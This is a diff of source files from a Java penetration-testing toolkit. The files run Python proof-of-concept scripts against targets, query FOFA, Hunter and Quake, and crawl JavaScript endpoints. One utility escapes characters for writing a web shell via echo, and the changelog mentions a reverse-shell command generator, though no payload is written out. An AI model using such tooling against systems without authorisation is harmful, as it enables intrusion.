//python脚本改用绝对路径展示
|
||||
// String filename = Constants.POCPATH + pyScriptName;
|
||||
// Path filePath = Paths.get(filename);
|
||||
// String pyScript = filePath.toAbsolutePath().toString();
|
||||
String pyScript = pyScriptName;
|
||||
String pyPath = Paths.get(Tools.getProperty("py_path")).toAbsolutePath().toString();
|
||||
|
||||
ProcessBuilder pb = new ProcessBuilder(pyPath, pyScript,target );
|
||||
//py脚本的代理,请在py脚本里写好
|
||||
// if (proxy != null) {
|
||||
// Map<String, String> environment = pb.environment();
|
||||
// InetSocketAddress proxyAddress = (InetSocketAddress) proxy.address();
|
||||
// String proxyHost = proxyAddress.getHostString();
|
||||
// int proxyPort = proxyAddress.getPort();
|
||||
// if (proxy.type() == Proxy.Type.HTTP) {
|
||||
// environment.put("http.proxyHost", proxyHost);
|
||||
// environment.put("http.proxyPort", Integer.toString(proxyPort));
|
||||
// }else if (proxy.type() == Proxy.Type.SOCKS){
|
||||
// environment.put("socksProxyHost", proxyHost);
|
||||
// environment.put("socksProxyPort", Integer.toString(proxyPort));
|
||||
// }
|
||||
// }
|
||||
// 启动Python进程
|
||||
Process process = pb.start();
|
||||
|
||||
// 获取标准输出
|
||||
InputStream stdout = process.getInputStream();
|
||||
BufferedReader outputReader = new BufferedReader(new InputStreamReader(stdout, "GBK"));
|
||||
|
||||
// 获取标准错误输出
|
||||
InputStream stderr = process.getErrorStream();
|
||||
BufferedReader errorReader = new BufferedReader(new InputStreamReader(stderr, "GBK"));
|
||||
|
||||
// 读取标准输出内容
|
||||
String line;
|
||||
StringBuilder outputBuilder = new StringBuilder();
|
||||
while ((line = outputReader.readLine()) != null) {
|
||||
outputBuilder.append(line).append("\n");
|
||||
}
|
||||
|
||||
// 读取标准错误输出内容
|
||||
StringBuilder errorBuilder = new StringBuilder();
|
||||
while ((line = errorReader.readLine()) != null) {
|
||||
errorBuilder.append(line).append("\n");
|
||||
}
|
||||
|
||||
// 等待进程执行完毕,并获取返回值
|
||||
int exitCode = process.waitFor();
|
||||
// 打印执行结果
|
||||
logger.debug("["+target+"] ---- "+pyScriptName);
|
||||
logger.debug("Exit Code: " + outputBuilder.toString());
|
||||
logger.debug("Output: " + errorBuilder.toString());
|
||||
logger.debug("Error: " + exitCode);
|
||||
logger.debug("---------------------------------------\r\n");
|
||||
|
||||
return outputBuilder.toString().trim() + errorBuilder.toString().trim();
|
||||
}
|
||||
|
||||
|
||||
public static void main(String[] args) throws IOException, InterruptedException {
|
||||
vulCheck("aaa","1.py");
|
||||
}
|
||||
}
|
||||
43
src/main/java/com/sec421/core/Constants.java
Normal file
@ -0,0 +1,43 @@
|
||||
package com.sec421.core;
|
||||
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
|
||||
public class Constants {
|
||||
|
||||
public static String NAME = "0x7eSecurity";
|
||||
|
||||
public static String VERSION = "v1.1 ";
|
||||
|
||||
public static String AUTHOR = "luze";
|
||||
|
||||
public static String SECURITYSTATEMENT = "----------------------------------------------------------------\r\n\t\t\t" +
|
||||
"本工具仅提供给安全测试人员进行安全自查使用\r\n\t\t\t" +
|
||||
"用户滥用造成的一切后果与作者无关\r\n\t\t\t" +
|
||||
"使用者请务必遵守当地法律\r\n\t\t\t" +
|
||||
"本程序不得用于商业用途,仅限学习交流\r\n" +
|
||||
"----------------------------------------------------------------\r\n" +
|
||||
"\t\t目前程序被没有任何漏洞利用代码,感谢各位师傅\r\n\t";
|
||||
|
||||
public static String UPDATELOG = "----------------------------------------------------------------\r\n\t\t\t" +
|
||||
"更新日志记录\r\n\t\t\t" +
|
||||
"----------------------------------------------------------------\r\n" +
|
||||
"0x7eTeamTools V1.1 -----------2024.1.12\r\n\t\t\t" +
|
||||
"1、修复了反弹shell命令生成功能bug\r\n\t\t\t" +
|
||||
"2、修复了某些页面鼠标滚轮功能bug\r\n\t\t\t" +
|
||||
"3、新增了js接口的一些处理逻辑\r\n\t\t\t" +
|
||||
"\t3.1针对型如../xx.js、./xx.js、//xx.js等js爬取做了修复\r\n\t\t\t" +
|
||||
"\t3.2针对型如../func、./func、/func等接口处理做了修复\r\n\t\t\t" +
|
||||
"----------------------------------------------------------------\r\n" +
|
||||
"0x7eTeamTools V1.0 -----------2024.1.1\r\n\t\t\t" +
|
||||
"----------------------------------------------------------------\r\n";
|
||||
|
||||
public static String CONFPATH = "conf/config.ini";
|
||||
|
||||
public static String POCPATH = "conf/poc/";
|
||||
public static String IMPACKET_PATH = "conf/impacket-0.11.0/examples/";
|
||||
|
||||
}
|
||||
54
src/main/java/com/sec421/core/VulInfo.java
Normal file
@ -0,0 +1,54 @@
|
||||
package com.sec421.core;
|
||||
|
||||
import javafx.beans.property.SimpleStringProperty;
|
||||
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
|
||||
public class VulInfo {
|
||||
private final SimpleStringProperty id = new SimpleStringProperty();
|
||||
private final SimpleStringProperty target = new SimpleStringProperty();
|
||||
private final SimpleStringProperty isVul = new SimpleStringProperty();
|
||||
|
||||
public VulInfo(String id, String target, String isVul) {
|
||||
setId(id);
|
||||
setTarget(target);
|
||||
setIsVul(isVul);
|
||||
}
|
||||
|
||||
public String getId() {
|
||||
return id.get();
|
||||
}
|
||||
|
||||
public void setId(String id) {
|
||||
this.id.set(id);
|
||||
}
|
||||
|
||||
public String getTarget() {
|
||||
return target.get();
|
||||
}
|
||||
|
||||
public void setTarget(String target) {
|
||||
this.target.set(target);
|
||||
}
|
||||
|
||||
public String getIsVul() {
|
||||
return isVul.get();
|
||||
}
|
||||
|
||||
public void setIsVul(String isVul) {
|
||||
this.isVul.set(isVul);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "VulInfo{" +
|
||||
"id=" + id +
|
||||
", target=" + target +
|
||||
", isVul=" + isVul +
|
||||
'}';
|
||||
}
|
||||
}
|
||||
120
src/main/java/com/sec421/tools/HttpTool.java
Normal file
@ -0,0 +1,120 @@
|
||||
package com.sec421.tools;
|
||||
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import cn.hutool.http.HttpRequest;
|
||||
import cn.hutool.http.HttpResponse;
|
||||
import cn.hutool.http.HttpUtil;
|
||||
import com.alibaba.fastjson.JSONObject;
|
||||
import com.sec421.controller.ui.MainController;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.Proxy;
|
||||
import java.net.URI;
|
||||
|
||||
public class HttpTool {
|
||||
public static String getHttpReuest(String requestUrl) {
|
||||
String body=null;
|
||||
Proxy proxy = (Proxy) MainController.settingInfo.get("proxy");
|
||||
try {
|
||||
if (proxy != null) {
|
||||
body = HttpRequest.get(requestUrl).setProxy(proxy).execute().body();
|
||||
|
||||
} else {
|
||||
body = HttpRequest.get(requestUrl).execute().body();
|
||||
}
|
||||
} catch (Exception e){
|
||||
body = "请检查网络或者代理";
|
||||
}finally {
|
||||
return body;
|
||||
}
|
||||
}
|
||||
|
||||
public static HttpResponse sendHttpReuest(String requestUrl,String reqMethod) {
|
||||
String body=null;
|
||||
HttpResponse execute=null;
|
||||
Proxy proxy = (Proxy) MainController.settingInfo.get("proxy");
|
||||
try {
|
||||
if (proxy != null) {
|
||||
if (reqMethod.equals("get")) {
|
||||
execute = HttpRequest.get(requestUrl).setProxy(proxy).execute();
|
||||
} else if (reqMethod.equals("post")) {
|
||||
execute = HttpRequest.post(requestUrl).setProxy(proxy).execute();
|
||||
}
|
||||
} else {
|
||||
if (reqMethod.equals("get")) {
|
||||
execute = HttpRequest.get(requestUrl).execute();
|
||||
} else if (reqMethod.equals("post")) {
|
||||
execute = HttpRequest.post(requestUrl).execute();
|
||||
}
|
||||
}
|
||||
} catch (Exception e){
|
||||
Tools.alert("错误","请检测网络情况");
|
||||
}finally {
|
||||
return execute;
|
||||
}
|
||||
}
|
||||
|
||||
public static String quankeRequest(String requestUrl, JSONObject jsonObject) throws IOException {
|
||||
String body=null;
|
||||
String quankeAPI = Tools.getProperty("quake");
|
||||
Proxy proxy = (Proxy) MainController.settingInfo.get("proxy");
|
||||
try {
|
||||
if (proxy != null) {
|
||||
body = HttpRequest.post(requestUrl).
|
||||
header("Content-Type","application/json").
|
||||
header("X-QuakeToken",quankeAPI,false).
|
||||
body(jsonObject.toJSONString()).
|
||||
setProxy(proxy).execute().body();
|
||||
} else {
|
||||
body = HttpRequest.post(requestUrl).
|
||||
header("Content-Type","application/json").
|
||||
header("X-QuakeToken",quankeAPI,false).
|
||||
body(jsonObject.toJSONString()).
|
||||
execute().body();
|
||||
}
|
||||
} catch (Exception e){
|
||||
body = "请检查网络或者代理";
|
||||
}finally {
|
||||
return body;
|
||||
}
|
||||
}
|
||||
public static String generateURL(String host,String port,String protocol){
|
||||
String domain = extractDomain(host);
|
||||
if ("80".equals(port) || "443".equals(port)){
|
||||
return protocol+"://"+domain;
|
||||
}else {
|
||||
return protocol+"://"+domain+":"+port;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static String extractDomain(String url) {
|
||||
String domain = "";
|
||||
try {
|
||||
URI uri = new URI(url);
|
||||
domain = uri.getHost();
|
||||
if (domain == null) {
|
||||
String[] parts = url.split(":");
|
||||
if (parts.length > 0) {
|
||||
domain = parts[0];
|
||||
}else{
|
||||
domain = url;
|
||||
}
|
||||
}
|
||||
return domain;
|
||||
} catch (Exception e) {
|
||||
String[] parts = url.split(":");
|
||||
if (parts.length > 0) {
|
||||
domain = parts[0];
|
||||
}else{
|
||||
domain = url;
|
||||
}
|
||||
return domain;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
18
src/main/java/com/sec421/tools/IniFileEntity.java
Normal file
@ -0,0 +1,18 @@
|
||||
package com.sec421.tools;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
@Data
|
||||
@AllArgsConstructor
|
||||
@NoArgsConstructor
|
||||
public class IniFileEntity {
|
||||
private String section;
|
||||
private String key;
|
||||
private String value;
|
||||
}
|
||||
494
src/main/java/com/sec421/tools/Tools.java
Normal file
@ -0,0 +1,494 @@
|
||||
package com.sec421.tools;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
|
||||
import com.sec421.controller.ui.MainController;
|
||||
import com.sec421.core.Constants;
|
||||
import javafx.scene.control.Alert;
|
||||
import javafx.scene.control.ButtonBar;
|
||||
import javafx.scene.control.ButtonType;
|
||||
import javafx.stage.Window;
|
||||
import org.ini4j.Ini;
|
||||
import org.ini4j.Profile;
|
||||
|
||||
import java.io.*;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Proxy;
|
||||
import java.net.URI;
|
||||
import java.net.URISyntaxException;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.text.SimpleDateFormat;
|
||||
import java.util.*;
|
||||
import java.util.regex.Matcher;
|
||||
import java.util.regex.Pattern;
|
||||
public class Tools {
|
||||
private String section;
|
||||
private String key;
|
||||
private String value;
|
||||
public static String getProperty(String name) throws IOException {
|
||||
File file = new File(Constants.CONFPATH);
|
||||
if (file.exists()) {
|
||||
Ini ini = new Ini(file);
|
||||
System.out.println();
|
||||
String fofaEmail =ini.get("fofa", "email");
|
||||
String fofaApiKey =ini.get("fofa", "apikey");
|
||||
String hunterApiKey =ini.get("hunter", "apikey");
|
||||
String quakeApiKey =ini.get("quake", "apikey");
|
||||
String pythonPATH =ini.get("python", "path");
|
||||
|
||||
if (name.equals("fofa")){
|
||||
return fofaEmail+":"+fofaApiKey;
|
||||
} else if (name.equals("hunter")) {
|
||||
return hunterApiKey;
|
||||
} else if (name.equals("quake")) {
|
||||
return quakeApiKey;
|
||||
}else if (name.equals("py_path")){
|
||||
return pythonPATH;
|
||||
}
|
||||
}else {
|
||||
Alert alert = new Alert(Alert.AlertType.INFORMATION);
|
||||
alert.setTitle("提示");
|
||||
alert.setHeaderText(null);
|
||||
alert.setContentText("config.ini文件没找到!!!!!\n");
|
||||
alert.showAndWait();
|
||||
return "config.ini文件没找到";
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
public static void setProxy() {
|
||||
Proxy proxy = (Proxy) MainController.settingInfo.get("proxy");
|
||||
if (proxy != null) {
|
||||
InetSocketAddress proxyAddress = (InetSocketAddress) proxy.address();
|
||||
String proxyHost = proxyAddress.getHostString();
|
||||
int proxyPort = proxyAddress.getPort();
|
||||
if (proxy.type() == Proxy.Type.HTTP) {
|
||||
System.setProperty("http.proxyHost", proxyHost);
|
||||
System.setProperty("http.proxyPort", Integer.toString(proxyPort));
|
||||
}else if (proxy.type() == Proxy.Type.SOCKS){
|
||||
System.setProperty("socksProxyHost", proxyHost);
|
||||
System.setProperty("socksProxyPort", String.valueOf(proxyPort));
|
||||
}
|
||||
}
|
||||
}
|
||||
public static String writeResult(String path, String content, boolean flag) {
|
||||
File f = new File(path);
|
||||
String results = null;
|
||||
try {
|
||||
if (!f.exists())
|
||||
f.createNewFile();
|
||||
BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f, flag), "GBK"));
|
||||
writer.write(content + "\r\n");
|
||||
writer.flush();
|
||||
writer.close();
|
||||
results = "保存成功, \n" + path;
|
||||
} catch (IOException e) {
|
||||
results = "保存失败: " + e.getMessage();
|
||||
}
|
||||
return results;
|
||||
}
|
||||
public static String getFDate() {
|
||||
String result = null;
|
||||
SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_hh_mmss");
|
||||
result = sdf.format(new Date());
|
||||
return result;
|
||||
}
|
||||
public static void alert(String title, String info) {
|
||||
Alert alert = new Alert(Alert.AlertType.NONE, info, new ButtonType[] { new ButtonType("确定", ButtonBar.ButtonData.YES) });
|
||||
alert.setTitle(title);
|
||||
alert.showAndWait();
|
||||
alert.close();
|
||||
}
|
||||
public static void alertWARNING(String header_text, String content_text) {
|
||||
Alert alert = new Alert(Alert.AlertType.WARNING);
|
||||
// 点 x 退出
|
||||
Window window = alert.getDialogPane().getScene().getWindow();
|
||||
window.setOnCloseRequest((e) -> {
|
||||
window.hide();
|
||||
});
|
||||
|
||||
alert.setHeaderText(header_text);
|
||||
alert.setContentText(content_text);
|
||||
alert.show();
|
||||
}
|
||||
public static void alertINFO( String content_text) {
|
||||
Alert alert = new Alert(Alert.AlertType.INFORMATION);
|
||||
alert.setTitle("提示");
|
||||
alert.setHeaderText(null);
|
||||
alert.setContentText(content_text);
|
||||
alert.showAndWait();
|
||||
}
|
||||
|
||||
// 因为使用echo 写 shell ,这里需要对 < > 转义
|
||||
public static String get_escape_shell(String str, String platform) {
|
||||
String key1 = "<";
|
||||
String key2 = ">";
|
||||
|
||||
if (platform.equals("Linux")) {
|
||||
|
||||
return "'" + str + "'";
|
||||
} else {
|
||||
return escape(key2, escape(key1, str, "^"), "^");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static List<String> findPyFiles(String directoryPath) {
|
||||
List<String> pyFiles = new ArrayList<>();
|
||||
File directory = new File(directoryPath);
|
||||
|
||||
// 检查目录是否存在
|
||||
if (!directory.exists()) {
|
||||
directory.mkdirs();
|
||||
}
|
||||
|
||||
// 获取目录下的所有文件和文件夹
|
||||
File[] files = directory.listFiles();
|
||||
|
||||
if (files != null) {
|
||||
for (File file : files) {
|
||||
if (file.isDirectory()) {
|
||||
// 递归调用,搜索子目录
|
||||
pyFiles.addAll(findPyFiles(file.getAbsolutePath()));
|
||||
} else {
|
||||
// 判断文件名是否以.py结尾
|
||||
if (file.getName().toLowerCase().endsWith(".py")) {
|
||||
// pyFiles.add(file.getName());
|
||||
pyFiles.add(file.getAbsolutePath());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return pyFiles;
|
||||
}
|
||||
public static String escape(String key, String str, String escape_str) {
|
||||
StringBuffer stringBuilder1 = new StringBuffer(str);
|
||||
int a = str.indexOf(key);
|
||||
int i = 0;
|
||||
while (a != -1) {
|
||||
stringBuilder1.insert(a + i, escape_str);
|
||||
a = str.indexOf(key, a + 1);
|
||||
i++;
|
||||
}
|
||||
|
||||
return stringBuilder1.toString();
|
||||
}
|
||||
|
||||
public static String checkTheDomain(String weburl) {
|
||||
if ("".equals(weburl.trim())) {
|
||||
return "";
|
||||
} else {
|
||||
if (!weburl.startsWith("http")) {
|
||||
weburl = "http://" + weburl;
|
||||
}
|
||||
|
||||
if (!weburl.endsWith("/")) {
|
||||
weburl = weburl + "/";
|
||||
}
|
||||
|
||||
return weburl;
|
||||
}
|
||||
}
|
||||
|
||||
public static String urlParse(String url) {
|
||||
if (!url.contains("http")) {
|
||||
url = "http://" + url;
|
||||
}
|
||||
|
||||
if (url.endsWith("/")) {
|
||||
url = url.substring(0, url.length() - 1);
|
||||
}
|
||||
|
||||
return url;
|
||||
}
|
||||
|
||||
|
||||
public static boolean checkTheURL(String weburl) {
|
||||
if ("".equals(weburl.trim())) {
|
||||
return false;
|
||||
} else {
|
||||
return weburl.startsWith("http");
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean match(String regex, String str) {
|
||||
Pattern pattern = Pattern.compile(regex);
|
||||
Matcher matcher = pattern.matcher(str);
|
||||
return matcher.matches();
|
||||
}
|
||||
|
||||
public static String getDate() {
|
||||
Date d = new Date();
|
||||
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
|
||||
return sdf.format(d);
|
||||
}
|
||||
|
||||
public static String reverse(String data) {
|
||||
StringBuilder sb = new StringBuilder(data);
|
||||
return sb.reverse().toString();
|
||||
}
|
||||
|
||||
public static HashSet<String> read(String path, String encode, Boolean domain) {
|
||||
HashSet list = new HashSet();
|
||||
|
||||
try {
|
||||
FileInputStream fs = new FileInputStream(new File(path));
|
||||
InputStreamReader isr = null;
|
||||
if (encode.equals("")) {
|
||||
isr = new InputStreamReader(fs);
|
||||
} else {
|
||||
isr = new InputStreamReader(fs, encode);
|
||||
}
|
||||
|
||||
BufferedReader br = new BufferedReader(isr);
|
||||
String tem = null;
|
||||
|
||||
while ((tem = br.readLine()) != null) {
|
||||
if (domain) {
|
||||
tem = checkTheDomain(tem);
|
||||
}
|
||||
if (!list.contains(tem)) {
|
||||
list.add(tem);
|
||||
}
|
||||
}
|
||||
|
||||
br.close();
|
||||
isr.close();
|
||||
} catch (Exception var7) {
|
||||
}
|
||||
|
||||
return list;
|
||||
}
|
||||
public static List<String> readFile(String path) {
|
||||
List<String> lt = new ArrayList<>();
|
||||
File file = new File(path);
|
||||
if (file.exists()) {
|
||||
try {
|
||||
Reader reader = new InputStreamReader(new FileInputStream(file), "UTF-8");
|
||||
BufferedReader bf = new BufferedReader(reader);
|
||||
while (true) {
|
||||
String line = bf.readLine();
|
||||
if (line == null) {
|
||||
break;
|
||||
} else if (line.trim().length() > 0) {
|
||||
lt.add(line.trim());
|
||||
}
|
||||
}
|
||||
bf.close();
|
||||
reader.close();
|
||||
} catch (IOException var6) {
|
||||
var6.printStackTrace();
|
||||
}
|
||||
}
|
||||
return lt;
|
||||
}
|
||||
|
||||
public static boolean write(String path, String value) {
|
||||
try {
|
||||
BufferedWriter out = new BufferedWriter(new FileWriter(path));
|
||||
out.write(value);
|
||||
out.close();
|
||||
} catch (IOException e) {
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
//创建ini文件
|
||||
public static boolean creatIniFile(String filePath,List<IniFileEntity> filecontent) throws IOException {
|
||||
File file = new File(filePath);
|
||||
if(file.exists()){
|
||||
return false;
|
||||
}
|
||||
file.createNewFile();
|
||||
Ini ini = new Ini();
|
||||
ini.load(file);
|
||||
|
||||
//将文件内容保存到ini对象中
|
||||
filecontent.stream().forEach((entity)->{
|
||||
ini.add(entity.getSection(),entity.getKey(),entity.getValue()== null ? "": entity.getValue());
|
||||
});
|
||||
//将文件内容保存到文件中
|
||||
ini.store(file);
|
||||
return true;
|
||||
}
|
||||
|
||||
//修改ini文件
|
||||
public static void updateIniFile(File iniFile,Map<String,Map<String,String>> updateData) throws IOException {
|
||||
Ini ini = new Ini();
|
||||
ini.load(iniFile);
|
||||
Profile.Section section = null;
|
||||
Map<String,String> dataMap = null;
|
||||
for (String sect : updateData.keySet()){
|
||||
section = ini.get(sect);
|
||||
dataMap = updateData.get(sect);
|
||||
for (String key : dataMap.keySet()){
|
||||
section.put(key,dataMap.get(key) == null ? "" :
|
||||
dataMap.get(key));
|
||||
}
|
||||
}
|
||||
ini.store(iniFile);
|
||||
}
|
||||
|
||||
public static String str2Hex(String str) {
|
||||
char[] chars = "0123456789ABCDEF".toCharArray();
|
||||
StringBuilder sb = new StringBuilder("");
|
||||
byte[] bs = str.getBytes();
|
||||
|
||||
for (int i = 0; i < bs.length; ++i) {
|
||||
int bit = (bs[i] & 240) >> 4;
|
||||
sb.append(chars[bit]);
|
||||
bit = bs[i] & 15;
|
||||
sb.append(chars[bit]);
|
||||
}
|
||||
|
||||
return sb.toString().trim();
|
||||
}
|
||||
|
||||
public static String hex2Str(String hexStr) {
|
||||
String str = "0123456789ABCDEF";
|
||||
char[] hexs = hexStr.toCharArray();
|
||||
byte[] bytes = new byte[hexStr.length() / 2];
|
||||
|
||||
for (int i = 0; i < bytes.length; ++i) {
|
||||
int n = str.indexOf(hexs[2 * i]) * 16;
|
||||
n += str.indexOf(hexs[2 * i + 1]);
|
||||
bytes[i] = (byte) (n & 255);
|
||||
}
|
||||
|
||||
return new String(bytes);
|
||||
}
|
||||
|
||||
|
||||
// 随机字符
|
||||
public static String getRandomString(int length) {
|
||||
String str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
||||
Random random = new Random();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
|
||||
for(int i = 0; i < length; ++i) {
|
||||
int number = random.nextInt(62);
|
||||
sb.append(str.charAt(number));
|
||||
}
|
||||
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
|
||||
|
||||
// base64编码
|
||||
public static String Base64Encode(String txt) {
|
||||
try {
|
||||
return Base64.getEncoder().encodeToString(txt.getBytes("UTF-8"));
|
||||
} catch (Exception var2) {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
public static String getLineSeparator() {
|
||||
String os = System.getProperty("os.name").toLowerCase();
|
||||
|
||||
String lineSeparator;
|
||||
if (os.contains("win")) {
|
||||
// Windows换行符
|
||||
lineSeparator = "\r\n";
|
||||
} else if (os.contains("mac")) {
|
||||
// Mac换行符
|
||||
lineSeparator = "\r";
|
||||
} else {
|
||||
// Linux换行符
|
||||
lineSeparator = "\n";
|
||||
}
|
||||
|
||||
return lineSeparator;
|
||||
}
|
||||
public static List<String> convertToArrayList(String lines) {
|
||||
String os = System.getProperty("os.name").toLowerCase();
|
||||
|
||||
String lineSeparator;
|
||||
if (os.contains("win")) {
|
||||
// Windows换行符
|
||||
lineSeparator = "\r\n";
|
||||
} else if (os.contains("mac")) {
|
||||
// Mac换行符
|
||||
lineSeparator = "\r";
|
||||
} else {
|
||||
// Linux换行符
|
||||
lineSeparator = "\n";
|
||||
}
|
||||
|
||||
// 按照操作系统对应的换行符分割字符串,并转换为数组
|
||||
String[] lineArray = lines.split(lineSeparator);
|
||||
|
||||
// 将数组转换为ArrayList
|
||||
List<String> stringList = new ArrayList<>(Arrays.asList(lineArray));
|
||||
|
||||
return stringList;
|
||||
}
|
||||
public static List<String> convertToArrayListMotd(String lines) {
|
||||
String lineSeparator = "\n";
|
||||
// 按照操作系统对应的换行符分割字符串,并转换为数组
|
||||
String[] lineArray = lines.split(lineSeparator);
|
||||
// 将数组转换为ArrayList
|
||||
List<String> stringList = new ArrayList<>(Arrays.asList(lineArray));
|
||||
|
||||
return stringList;
|
||||
}
|
||||
|
||||
public static String normalizedURI(String url) throws URISyntaxException {
|
||||
URI uri = new URI(url);
|
||||
URI normalizedURI = uri.normalize();
|
||||
return normalizedURI.toString();
|
||||
}
|
||||
public static List<String> extractJsUrls(String html) {
|
||||
List<String> jsUrls = new ArrayList<>();
|
||||
String patternString = "<script[^>]*src=(?:\\\"|')?([^\\\"'>]+)(?:\\\"|')?";
|
||||
Pattern pattern = Pattern.compile(patternString);
|
||||
Matcher matcher = pattern.matcher(html);
|
||||
|
||||
while (matcher.find()) {
|
||||
String jsUrl = matcher.group(1);
|
||||
jsUrls.add(jsUrl);
|
||||
}
|
||||
|
||||
return jsUrls;
|
||||
}
|
||||
|
||||
public static String urlPretreatment(String url) throws URISyntaxException {
|
||||
URI uri = new URI(url);
|
||||
String path = uri.getPath().replace("//", "/");
|
||||
String newUrl = new URI(uri.getScheme(), uri.getUserInfo(), uri.getHost(), uri.getPort(), path, uri.getQuery(), uri.getFragment()).toString();
|
||||
return newUrl;
|
||||
}
|
||||
public static Set<String> extractJsInterface(String html) {
|
||||
Set<String> interfaces = new HashSet<>();
|
||||
// bug修复 /xxx ./xxx ../../../xxx
|
||||
String patternString = "[\\\"']([..]*/[^\\\"'>]+)[\\\"']";
|
||||
Pattern pattern = Pattern.compile(patternString);
|
||||
Matcher matcher = pattern.matcher(html);
|
||||
|
||||
while (matcher.find()) {
|
||||
String interfaceUrl = matcher.group(1);
|
||||
interfaces.add(interfaceUrl);
|
||||
}
|
||||
|
||||
return interfaces;
|
||||
}
|
||||
public static String extractDomain(String url) {
|
||||
String patternString = "(https?://)([^/#?]+).*";
|
||||
Pattern pattern = Pattern.compile(patternString);
|
||||
Matcher matcher = pattern.matcher(url);
|
||||
|
||||
if (matcher.matches()) {
|
||||
return matcher.group(1) + matcher.group(2) + "/";
|
||||
}
|
||||
return null;
|
||||
}
|
||||
public static String splitByHash(String url) {
|
||||
String[] parts = url.split("#", 2);
|
||||
return parts[0];
|
||||
}
|
||||
}
|
||||
3
src/main/resources/META-INF/MANIFEST.MF
Normal file
@ -0,0 +1,3 @@
|
||||
Manifest-Version: 1.0
|
||||
Main-Class: com.sec421.Main
|
||||
|
||||
40
src/main/resources/css/main.css
Normal file
@ -0,0 +1,40 @@
|
||||
.jfx-button {
|
||||
-jfx-button-type: RAISED;
|
||||
-fx-text-fill: #000;
|
||||
-fx-font-size: 16;
|
||||
}
|
||||
|
||||
/*!* 鼠标悬停时,按钮突出 *!*/
|
||||
.jfx-button:hover{
|
||||
-fx-background-color: white;
|
||||
}
|
||||
|
||||
/* 按钮选中时,按钮突出 */
|
||||
.jfx-button:focused{
|
||||
-fx-background-color: white;
|
||||
}
|
||||
|
||||
/* 修改Tab中文本的颜色 */
|
||||
.tab-label {
|
||||
-fx-text-fill: #383838;
|
||||
}
|
||||
|
||||
|
||||
/* 子代选择器,Tab选中的时候选择其子元素tab-label */
|
||||
.tab:selected .tab-label {
|
||||
-fx-text-fill: #1E90FF;
|
||||
}
|
||||
|
||||
/* 修改Tab中背景颜色*/
|
||||
.jfx-tab-pane .headers-region {
|
||||
-fx-background-color: #fff;
|
||||
}
|
||||
.jfx-tab-pane .tab-header-background {
|
||||
-fx-background-color: #fff;
|
||||
}
|
||||
|
||||
|
||||
#oa {
|
||||
-fx-font-size: 14;
|
||||
}
|
||||
|
||||
2236
src/main/resources/fxml/gui.fxml
Normal file
BIN
src/main/resources/img/logo.png
Normal file
|
After Width: | Height: | Size: 383 KiB |
BIN
src/main/resources/img/logo_2256.gif
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
src/main/resources/img/sec.png
Normal file
|
After Width: | Height: | Size: 2.0 MiB |
BIN
src/main/resources/img/weixin.jpg
Normal file
|
After Width: | Height: | Size: 146 KiB |
24
src/main/resources/log4j.properties
Normal file
@ -0,0 +1,24 @@
|
||||
### 设置###
|
||||
log4j.rootLogger = debug,stdout,D
|
||||
|
||||
### 输出信息到控制抬 ###
|
||||
log4j.appender.stdout = org.apache.log4j.ConsoleAppender
|
||||
log4j.appender.stdout.Target = System.out
|
||||
log4j.appender.stdout.layout = org.apache.log4j.PatternLayout
|
||||
log4j.appender.stdout.layout.ConversionPattern = [%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n
|
||||
|
||||
#### 输出DEBUG 级别以上的日志到=/home/duqi/logs/debug.log ###
|
||||
log4j.appender.D = org.apache.log4j.DailyRollingFileAppender
|
||||
log4j.appender.D.File = logs/debug.log
|
||||
log4j.appender.D.Append = true
|
||||
log4j.appender.D.Threshold = DEBUG
|
||||
log4j.appender.D.layout = org.apache.log4j.PatternLayout
|
||||
log4j.appender.D.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n
|
||||
|
||||
#### 输出ERROR 级别以上的日志到=/home/admin/logs/error.log ###
|
||||
#log4j.appender.E = org.apache.log4j.DailyRollingFileAppender
|
||||
#log4j.appender.E.File =logs/error.log
|
||||
#log4j.appender.E.Append = true
|
||||
#log4j.appender.E.Threshold = ERROR
|
||||
#log4j.appender.E.layout = org.apache.log4j.PatternLayout
|
||||
#log4j.appender.E.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n
|
||||
3
target/classes/META-INF/MANIFEST.MF
Normal file
@ -0,0 +1,3 @@
|
||||
Manifest-Version: 1.0
|
||||
Main-Class: com.sec421.Main
|
||||
|
||||
BIN
target/classes/com/sec421/Main.class
Normal file
BIN
target/classes/com/sec421/Test.class
Normal file
BIN
